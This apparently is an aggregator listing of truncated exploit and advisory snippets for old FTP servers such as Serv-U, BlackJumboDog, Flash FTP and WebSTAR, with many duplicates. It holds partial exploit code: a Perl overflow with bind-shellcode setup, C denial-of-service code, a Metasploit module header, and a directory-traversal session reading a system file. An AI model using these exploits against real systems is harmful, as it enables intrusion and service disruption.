Serv-U 3.x, 4.x, 5.x local privilege escalation

/ Hax0rcitos proudly presents Serv-u Local Exploit v3.x. tested also against last version 5.1.0.0 All Serv-u Versions have default Login/password for local Administration. This account is only available to connect in the loopback interface, so a local user will be able to connect to Serv-u with...

4D WebSTAR Symlink Privilege Escalation

The remote server is running 4D WebStar FTP Server. The version of 4D WebStar FTP Server on the remote host is reportedly affected by a local symbolic link vulnerability caused by the application opening files without properly verifying their existence or their absolute location. Successful...

Serv-U 3x - 5.x Local Privilege Escalation Exploit

Exploit for unknown platform in category local exploits ================================================== Serv-U 3x - 5.x Local Privilege Escalation Exploit ================================================== / Hax0rcitos proudly presents Serv-u Local Exploit v3.x. tested also against last versio...

RhinoSoft Serv-U FTP Server 3.x 5.x - Local Privilege Escalation

RhinoSoft Serv-U FTP Server 3.x 5.x - Local Privilege Escalation / Hax0rcitos proudly presents Serv-u Local Exploit v3.x. tested also against last version 5.1.0.0 All Serv-u Versions have default Login/password for local Administration. This account is only available to connect in the loopback...

CVE-2004-0677

Fastream NETFile FTP Server 6.7.2.1085 and earlier allows remote attackers to cause a denial of service temporary hang via the cd command with an unusual argument, possibly due to multiple leading slashes and/or an access to the floppy drive "A"...

BlackJumboDog FTP Server - Remote Buffer Overflow

BlackJumboDog FTP Server - Remote Buffer Overflow !/usr/bin/perl blackJumboDog Exploit code by Tal zeltzer use strict; use IO::Socket::INET; usage unless@ARGV == 2; my $host = shift@ARGV; my $port = shift@ARGV; win32bind - Encoded Shellcode \x00\x0a\x09 EXITFUNC=seh LPORT=4444 Size=399...

BlackJumboDog FTP Server - Remote Buffer Overflow

!/usr/bin/perl blackJumboDog Exploit code by Tal zeltzer use strict; use IO::Socket::INET; usage unless@ARGV == 2; my $host = shift@ARGV; my $port = shift@ARGV; win32bind - Encoded Shellcode \x00\x0a\x09 EXITFUNC=seh LPORT=4444 Size=399 http://metasploit.com my $shellcode =...

4D WebStar Pre-authentication FTP Overflow

There is a buffer overflow condition in the remote version of 4D WebStar FTP Server installed on the remote host. An attacker may exploit this flaw to execute arbitrary code on the remote host with the privileges of the FTP server root. C Tenable Network Security, Inc. include"compat.inc";...

Bug@FlashFTPd

Application: Flash FTP Server Vendors: http://www.net2soft.com/downloads/flashftpserver.exe Version: 1.02.1? Platforms: Windows Bug: Directory Traversal Date: 2004-06-9 Author: CoolICE e-mail: CoolICEChina.com ================ TestCode: C:ftp localhost Connected to server. 220 Flash FTP Server v2...

FlashFTPtraverse.txt

Application: Flash FTP Server Vendors: http://www.net2soft.com/downloads/flashftpserver.exe Version: 1.02.1? Platforms: Windows Bug: Directory Traversal Date: 2004-06-9 Author: CoolICE e-mail: CoolICEChina.com ================ TestCode: C:\ftp localhost Connected to server. 220 Flash FTP Server...

Flash FTP Server Directory Traversal

Exploit for unknown platform in category remote exploits ==================================== Flash FTP Server Directory Traversal ==================================== TestCode: C:\ftp localhost Connected to server. 220 Flash FTP Server v2.1 ready... User server:none: CoolICE 331 Password require...

Flash FTP Server - Directory Traversal

Flash FTP Server - Directory Traversal TestCode: C:\ftp localhost Connected to server. 220 Flash FTP Server v2.1 ready... User server:none: CoolICE 331 Password required for CoolICE. Password: 230 User CoolICE logged in. ftp get /winnt/system.ini 200 Port command successful. 150 Opening data...

Flash FTP Server - Directory Traversal

TestCode: C:\ftp localhost Connected to server. 220 Flash FTP Server v2.1 ready... User server:none: CoolICE 331 Password required for CoolICE. Password: 230 User CoolICE logged in. ftp get /winnt/system.ini 200 Port command successful. 150 Opening data connection for /winnt/system.ini. 226 File...

OverByte ICS FTP Server Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ======================================================== OverByte ICS FTP Server Remote Denial of Service Exploit ======================================================== --Exploit: //===========================================================...

OverByte ICS FTP Server Remote Denial of Service Exploit

No description provided by source. --Exploit: //=========================================================== include winsock2.h include stdio.h pragma commentlib, \"ws232.lib\" char Nonnullterminatedstring = \"AAAAAAAAAAAAAAAAAA\"; int mainint argc, char argv WSADATA wsaData; WORD...

OverByte ICS FTP Server - Remote Denial of Service

OverByte ICS FTP Server - Remote Denial of Service //--Exploit: //=========================================================== include include pragma commentlib, \"ws232.lib\" char Nonnullterminatedstring = \"AAAAAAAAAAAAAAAAAA\"; int mainint argc, char argv WSADATA wsaData; WORD...

OverByte ICS FTP Server - Remote Denial of Service

//--Exploit: //=========================================================== include include pragma commentlib, \"ws232.lib\" char Nonnullterminatedstring = \"AAAAAAAAAAAAAAAAAA\"; int mainint argc, char argv WSADATA wsaData; WORD wVersionRequested; struct hostent pTarget; struct sockaddrin...

CVE-2004-0677

CVE-2004-0677 affects Fastream NETFile FTP Server 6.7.2.1085 and earlier. The issue allows remote attackers to cause a denial-of-service (temporary hang) by issuing a cd command with an unusual argument, potentially involving multiple leading slashes or an access to the floppy drive ("A"). The de...

CVE-2004-0677

Fastream NETFile FTP Server 6.7.2.1085 and earlier allows remote attackers to cause a denial of service temporary hang via the cd command with an unusual argument, possibly due to multiple leading slashes and/or an access to the floppy drive "A"...

WebSTAR FTP Server <= 5.3.2 USER Overflow (OS X)

No description provided by source. $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require...